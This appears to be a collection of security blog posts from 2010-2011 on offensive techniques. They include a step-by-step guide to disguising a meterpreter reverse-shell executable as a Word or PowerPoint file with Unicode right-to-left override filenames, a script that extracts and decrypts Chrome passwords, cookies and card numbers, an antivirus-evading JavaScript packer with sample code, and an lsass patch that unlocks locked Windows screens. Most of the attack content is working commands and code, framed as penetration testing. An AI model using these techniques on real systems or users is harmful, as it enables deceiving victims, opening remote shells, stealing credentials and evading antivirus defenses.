Relentless Coding

Social engineering with unicode filenames

2011-10-24T00:17:00.000+02:00

There have been several reports on special unicode characters being used to hide the real extension of a file - most times to make an execute file look like a document or a picture file, tricking the user into starting the executable.

Although the attack is not new, I could not find much information about good ways to create such files - so here is how I created a meterpreter payload and made it look like a normal file on Windows Vista/7.
During the process, I accessed the files both from Linux (metasploit, ruby) and Windows (Resource Hacker) using a Virtual Box machine with a shared folder. It should be possible to do everything on Windows only, but I did not test it.

[update 2011-11-04]
I just tested the examples with Windows 7 + Ruby 1.9.2. As a reader reported in the comments, the original examples do not work. Ruby 1.9.2 has improved unicode support, so we can use the \uXXXX codes directly - I added an alternative version of the commands.
[/update]

First, create a payload:

./msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -f exe LHOST=192.168.1.1 LPORT=4444 >/tmp/demo.exe

To make the file look like our target format, we need to give the executable file an icon. Copy demo.exe to demo_doc.exe and demo_ppt.exe to create a Word and a Powerpoint template.

Now we need to find the correct icons for these filetypes. Start Resource Hacker (http://www.angusj.com/resourcehacker/) and open the Word executable holding the icons ("c:\program files\microsoft office\office14\wordicon.exe" on my system). Find a suitable icon group and note the corresponding values (resource name = 201 and language = 1033 in my case). Resource Hacker showed some error messages on my system, but it worked nonetheless.

Now open your payload (demo_doc.exe) file in Resource Hacker. Click "Action -> Add a new Resource". Open the file holding the icon (wordicon.exe in my case), set resource type to "ICON" and enter the collected values.
If you use an executable that already has an icon (e.g. when executing msfvenom with calc.exe as a template), use "Action -> Replace Icon".

Click "Add Resource" and save the file.

Repeat the process for the Powerpoint file. I used the file powerpnt.exe, resource name = 1301, language = 1033.

This is what you should see in Windows Explorer:

Theoretically, you could first rename the files before editing the icon resources. However, in my tests Resource hacker did not work correctly with the unicode filenames, so I recommend doing it in the described order.

The most used character for these tricks is "right-to-left override" (RTLO), in unicode: U+202E.
First, we need to convert this into an UTF-8 representation. You can do this by hand, like described here: http://home.tiscali.nl/t876506/utf8tbl.html, or you can just look it up: http://www.fileformat.info/info/unicode/char/202e/index.htm

So, U+202E converts to 0xE280AE.
With a simple RTLO, we can reverse the right side of the filename, so "cod.exe" looks like "exe.doc". We are quite limited here, as the name of the file needs to end on exe.

One good example I found was a file displayed as "SexyAlexe.ppt". The real name of this file is "SexyAl\xe2\x80\xaetpp.exe".

I used ruby to execute the rename commands, as the special characters sometimes cause problems if you try to execute them in a normal shell.

# Original version, tested on Linux with Ruby 1.8.7
ruby -e 'File.rename("demo_ppt.exe", "SexyAl\xe2\x80\xaetpp.exe")'

# Alternative version, tested on Windows 7 with Ruby 1.9.2
ruby -e 'File.rename("demo_ppt.exe", "SexyAl\u202Etpp.exe")'

In Windows Explorer:

For more advanced file names, we need a second unicode character: U+202D = 0xE280AD, this one is called left-to-right override (LTRO).

Using this, the real file extension of the file can be placed anywhere in the displayed filename. We now also use .scr as extension to have more options.

# [RTLO]cod.yrammus_evituc[LTRO]2011.exe

# Original version, tested on Linux with Ruby 1.8.7
ruby -e 'File.rename("demo_doc.exe", "\xe2\x80\xaecod.yrammus_evituc\xe2\x80\xad2011.exe")'

# Alternative version, tested on Windows 7 with Ruby 1.9.2
ruby -e 'File.rename("demo_doc.exe", "\u202Ecod.yrammus_evituc\u202D2011.exe")'


# [RTLO]tpp.stohsnee[LTRO]funny.scr

# Original version, tested on Linux with Ruby 1.8.7
ruby -e 'File.rename("demo_ppt.exe", "\xe2\x80\xaetpp.stohsnee\xe2\x80\xadfunny.scr")'

# Alternative version, tested on Windows 7 with Ruby 1.9.2
ruby -e 'File.rename("demo_ppt.exe", "\u202Etpp.stohsnee\u202Dfunny.scr")'

The filename is created in two parts, first writing from right to left and then from left to right, prepending the characters left of all those already written.

Result:

Open a metasploit console on the attacking machine:

./msfconsole
msf > use exploit/multi/handler
msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.1.1
msf  exploit(handler) > exploit

Now, open one of the created files on the target machine and you should get a meterpreter shell:

[*] Started reverse handler on 192.168.1.1:4444
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.100:54354) at Sun Oct 23 19:42:30 +0200 2011

Of course, no document will be opened and some users might get suspicious. An advanced version of this attack would use an executable file that extracts an embedded document, opens it and then executes the reverse shell.

Meterpreter Script to extract chrome browser data

2010-09-20T23:42:00.000+02:00

About two months ago, Jeremiah Grossman found a a nice way to exploit the form autofill feature of the Safari browser to extract the stored data.
A few days later Google announced that Chrome 6 will support form autofill including credit card information.

I was curious how the data is stored and the metasploit project was missing a meterpreter script to extract chrome browser data anyway, so I created one.

The information is stored in sqlite databases and some JSON files. The script downloads these and extracts the useful information from the databases, storing the data in JSON dumps so it is both human readable and easy to parse.

The most sensitive data (auto fill passwords and credit card numbers) is encrypted using the Windows function CryptProtectData:

"Typically, only a user with the same logon credential as the user who encrypted the data can decrypt the data. In addition, the encryption and decryption usually must be done on the same computer."

To decrypt the data, the script calls the CryptUnprotectData function on the target system using the new railgun meterpreter extension.
To make this work, the process on the target system running meterpreter needs to be owned by the user the data belongs to, so this does not work with SYSTEM privileges.
To get the data of the currently logged on user, the script allows to automatically migrate into the exlorer.exe process and, after the decryption is done, back into the original process.

The following shows the console output of the script:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > run enum_chrome -m
[*] current PID is 1100. migrating into explorer.exe, PID=2916...
[*] done.
[*] running as user 'VM-WINXP\test'...
[*] extracting data for user 'test'...
[*] downloading file Web Data to '/home/sven/.msf3/logs/scripts/enum_chrome/10.1.1.11/20100920.2016/test/Web Data'...
[*] downloading file Cookies to '/home/sven/.msf3/logs/scripts/enum_chrome/10.1.1.11/20100920.2016/test/Cookies'...
[*] downloading file History to '/home/sven/.msf3/logs/scripts/enum_chrome/10.1.1.11/20100920.2016/test/History'...
[*] downloading file Login Data to '/home/sven/.msf3/logs/scripts/enum_chrome/10.1.1.11/20100920.2016/test/Login Data'...
[*] downloading file Bookmarks to '/home/sven/.msf3/logs/scripts/enum_chrome/10.1.1.11/20100920.2016/test/Bookmarks'...
[*] downloading file Preferences to '/home/sven/.msf3/logs/scripts/enum_chrome/10.1.1.11/20100920.2016/test/Preferences'...
[*] creating file 'autofill.json'...
[*] creating file 'autofill_profiles.json'...
[*] creating file 'autofill_credit_cards.json'...
[*] decrypting field 'card_number_encrypted'...
[*] creating file 'cookies.json'...
[*] creating file 'history.json'...
[*] creating file 'logins.json'...
[*] creating file 'bookmarks.json'...
[*] creating file 'preferences.json'...
[*] migrating back into PID=1100...
[*] done.
meterpreter >

The file 'autofill_credit_cards.json' contains the following (the field "card_number_encrypted_decrypted" gets added by the script):

[
  {
    "label": "",
    "verification_code_encrypted": "",
    "unique_id": 1,
    "expiration_year": 2010,
    "card_number": "",
    "shipping_address": "",
    "type": "",
    "card_number_encrypted": "\u0001\u0000\u0000\u0000Ð~L~]ß\u0001\u0015Ñ\u0011~Lz\u0000ÀOÂ~Wë\u0001\u0000\u0000\u0000/\u0006E\u000eú«}N~LÁ\u001bjÍ5\u0004~\\u0000\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0003f\u0000\u0000¨\u0000\u0000\u0000\u0010\u0000\u0000\u0000Ú½[~LökºíaÂAÕ\u0013ÖoÚ\u0000\u0000\u0000\u0000\u0004~@\u0000\u0000| \u0000\u0000\u0000\u0010\u0000\u0000\u0000~Eî\\uFÎrgé|i¬.\u0002~P~I\u0018\u0000\u0000\u0000~N£Hvß~FÃÀê%á6h¢Q~Q;j NØ\u0002m±\u0014\u0000\u0000\u0000Yö|#~\~A°µ±ù~Zå·®\u0007éJ~KyÓ",
    "billing_address": "",
    "expiration_month": 12,
    "verification_code": "",
    "name_on_card": "Test Card",
    "card_number_encrypted_decrypted": "0123456789012345"
  }
]

You can download the script here: http://github.com/svent/misc/blob/master/metasploit/enum_chrome.rb

Combining the Quicktime "Marshaled_pUnk" exploit with JSidle

2010-09-16T22:28:00.000+02:00

The Quicktime "Marshaled_pUnk" exploit works well with a Javascript packer to circumvent AV detection as it solely relies on Javascript code. Quite often a web based exploit needs a special setting (HTML objects, data files etc.) beside the Javascript code and therefore makes it easier to create an AV signature.

The current metasploit module for the exploit (see here) has a detection rate of 14/43 on VirusTotal.
After changing a few lines to use the JSidle packer (patches on github) the detection drops to zero, no further customization needed.

As the packer is available for over 2 months now, it seems to work quite well.

New Javascript packer: JSidle

2010-07-09T00:28:00.000+02:00

Over the last weeks I worked on a new Javascript packer that incorporates some new ideas. The main goal was to make it useful in penetration testing - thus, all used techniques try to circumvent automated analysis (e.g. used by anti virus products). I did not try to make it especially hard for manual analysis.

The Javascript obfuscator I released some months ago (see here) has been used in some metasploit modules and seems to circumvent detection quite well, although it only implements a simple idea. The new packer works standalone (the old used parts of the existing JS obfuscator from the metasploit framework) and uses encryption in a new way for obfuscation purposes.

Most Javascript obfuscators try to reach their goal through complexity, often using some kind of encoding/encryption, mainly because it's an easy way to circumvent known signatures. The JSidle packers does the same except for one big difference: it does take advantage of the time factor. The packer does not give the whole key to the client, so the original payload is really inaccessible to the anti virus engine. As we do want our browser to access and in the end execute it, there is only one solution: let the browser brute force the key. The browser will try to crack the missing part of the key - all this is implemented in a way that ensures the browser will be successful within a few seconds (depending on the configuration of the packer). This delay cannot be circumvented - every AV engine that needs to see the original payload to flag it as malicious will have to brute force it too. This is just not possible within the tenth of a seconds it has to do that, so it will deliver the script to the browser (because the obfuscation itself is no sign for the code being malicious and users are not willing to wait a few seconds before a website loads). Our victim user however, will generously wait for the script to decrypt and execute. If we target modern browsers, the execution speed of their highly optimized JS engines compared to AV emulation puts the attacker even more in advantage.

The whole concept is described in my article in issue 003 of the HITB magazine (pages 42-47). You can get it here: http://magazine.hitb.org

The source code is available on github: http://github.com/svent/jsidle
You can also find patches for metasploit on that repository, I will try to get them integrated into the framework.

An easy example that can be executed with spidermonkey (using pdf mode, as the web mode does rely on the window object in the executing browser):

user@box $ echo "print('hello world')" | ./jsidle -o test.js mode=pdf speed=10000
user@box $ js <test.js
hello world
user@box $

The resulting JS code will take a short time to execute, as the key has to be cracked.
This is the generated Javascript code (not including the used open source MD5 JS library):

var aens = 'xbrweslznfjzgufvllynehboehht';
                var ielye = '484b0a581019145807555e0911445f4b0f07101e39';
                var inre = '';
                for (i = 0;i<ielye.length;i+=2) {
                        inre += String.fromCharCode(parseInt(ielye.substring(i, i+2), 16));
                }
                var nrra = 'ckwrgey';
                var gnnei = 'ioevnpxed';
                var puen = 'tgrzmhmppsdwooswweo';
                var eetah = ['f6855e60cbaf0f53eac03c3084d54e20','f08646544a74dec80d115aa8d481bd6b','374610dd1228da094904b40169528f28','21f4a8ed182327154deb34bc21dfe7d6','4fb97eac4dbff8f150b770dbc21fc848'];
                var rni = nrra + gnnei;
                var flfnn = false;
                var aaenu;
                var eyur = ["", "", "", "", ""];
                var stts = "abcdefghijklmnopqrstuvwxyz";
                for (i = 0; i < 5; i++) {
                var gblt = 1;
                while (true) {
                        eyur[i] = "";
                        var lss = gblt;
                        while (lss > 0) {
                                var nwg = lss % 26;
                                eyur[i] = stts.substring(nwg, nwg + 1) + eyur[i];
                                lss = Math.floor(lss / 26);
                        }
                        if (hex_md5(puen + eyur[i]) == eetah[i]) {
                                break;
                        }
                        gblt++;
                }
                }
                var aaenu = hex_md5(rni + eyur.join(""));
                var eostl = '';
                for (i=0;i<inre.length;i++) {
                                eostl += String.fromCharCode(inre.charCodeAt(i) ^ aaenu.charCodeAt(i%aaenu.length));
                }
                eval(eostl);

Bypassing Antivirus using De-Obfuscation

2010-02-23T01:00:00.000+01:00

About six months ago I was working on an idea for a new executable packer. Before I started coding, I performed some tests to see how easy current Antivirus products can be bypassed.

I chose the tool PwDump3 for testing as I did not want to handle real malware for the small test and this was sufficient as most AV products detect it as malicious software.

Two of my tests were quite simple:

Test1:

pack the program with upx

Test2:

pack the program with upx
rename sections
add a time consuming loop to the programm, hoping that an AV scanner using generic unpacking will fail

The second test was somewhat successful - the detection rate dropped by 50%, whereas the first one did not really help bypass detection.

Now I wanted to take up the project again - checking what I did 6 months ago I also re-uploaded the testfiles to virustotal. To my surprise, these two testfiles led to almost identical results: 31/41 compared to 28/41.
As we all know and Kaspersky showed again recently, AV vendors often add detection for programs that are detected by other vendors, so one question arises: did they just add a static signature detecting my obfuscated version of the program or did the generic detection really improve?

The time consuming loop was really trivial, this is the code:

pushad
mov eax, 5
outer:
mov ecx, -1
inner:
xor ebx, ebx
loop inner
dec eax
jnz outer
popad

It should be fairly easy to detect something like that. I modified the executable so that it jumps to the end of the code section, executes the loop and then returns to the original entry point of the program.

After renaming the sections back to their original names set by UPX and replacing the loop with NOPs, I uploaded the program again. Surprisingly, only 16 of 39 scanners still detect that one, so now I bypassed 12 AV products by removing the obfuscation originally implemented...

Windows Vista + 7 Targets for Screen Unlock Script

2010-02-21T03:16:00.000+01:00

The screen_unlock script for metasploit now supports Windows Vista and 7 (might not work with every version though).

The basic method used for Vista and 7 is still the same, yet there was one problem: Vista and 7 use ASLR, so fixed addresses for the code patch do not work.

The meterpreter API has a nice solution to this problem - it is possible to find out the base address of a specific process module.

The updated target section in the script contains relative offsets which are combined with the base address of msv1_0.dll in the lsass.exe process to locate the exact positions for checking the signature and applying the patch.

The script now also supports multiple targets for one OS - every matching target gets tested until a working one is found.

Get the new version here: http://github.com/svent/misc/blob/master/metasploit/screen_unlock.rb

Screen Unlock Meterpreter Script

2010-02-18T00:00:00.000+01:00

Just released a meterpreter script that can be used to unlock the screen of a windows system. The script needs SYSTEM privileges and patches the msv1_0.dll loaded by lsass.exe so that every password will be accepted to unlock the screen. (the patch can also be undone to get back to normal behavior). Currently Windows XP SP2 and SP3 are supported.

The idea for this technique was first published by Metlstorm used for the winlockpwn tool performing the patch via firewire access to a machine.

I think it might be good for some demonstration purposes.

you can get the script here: http://github.com/svent/misc/blob/master/metasploit/screen_unlock.rb

Circumventing Antivirus Javascript Detection

2010-02-13T23:28:00.000+01:00

Some browser-based exploits using javascript are detected by antivirus engines as they often use special strings that are easy to identify, e.g. ActiveX CLSIDs or "unescape('%u0c0c%u0c0c')".

Quite often, very advanced techniques like changing

"clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF"

into

"\x63\x6c\x73\x69\x64\x3a\x30\x39\x35\x35\x41\x43\x36\x32\x2d\x42\x46\x32\x45\x2d\x34\x43\x42\x41\x2d\x41\x32\x42\x39\x2d\x41\x36\x33\x46\x37\x37\x32\x44\x34\x36\x43\x46"

already help to get past AV detection.

More general techniques include randomly named variables, xor-encoded strings and so on. They all have in common that they are detectable if the javascript emulation engine is just good enough, as everything needed for detection is still contained in the examined code.

Some time ago, I implemented a new approach which was integrated into the metasploit framework in combination with the msvidctl_mpeg2 exploit. The detection on virustotal.com dropped to zero. Seven months later, it is still undetected. The used encryption was now integrated into the ie_aurora exploit and again the detection dropped to zero.
As zero detection on virustotal.com does not mean that no AV product will catch the exploit in a live environment (the scanners on virustotal will perform mostly static analysis), I tested the aurora exploit against two installed AV products (I'll better not name them) - with encryption, the exploit worked and was not detected anymore.

How it works
As said before, AV detection relies on the fact that the inspected javascript contains everything needed for the exploit. The new implementation also uses an xor-encryption, yet the key is not contained within the script.
The key used by the script is transferred as part of the URL, e.g.

http://host/exploit.html?<key>

Whereas the javascript executed within the browser can access this part of the url without any problems, many AV products just access the html file stored as temporary file on the disk and therefore cannot access the key - leading to unencryptable javascript code (with the techniques currently used).

Links
Javascript encoder module and integration into the msvidctl_mpeg2 module:
http://www.metasploit.com/redmine/projects/framework/repository/revisions/6784

The patch for the ie_aurora exploit module can be found here:
http://github.com/svent/misc/tree/master/metasploit/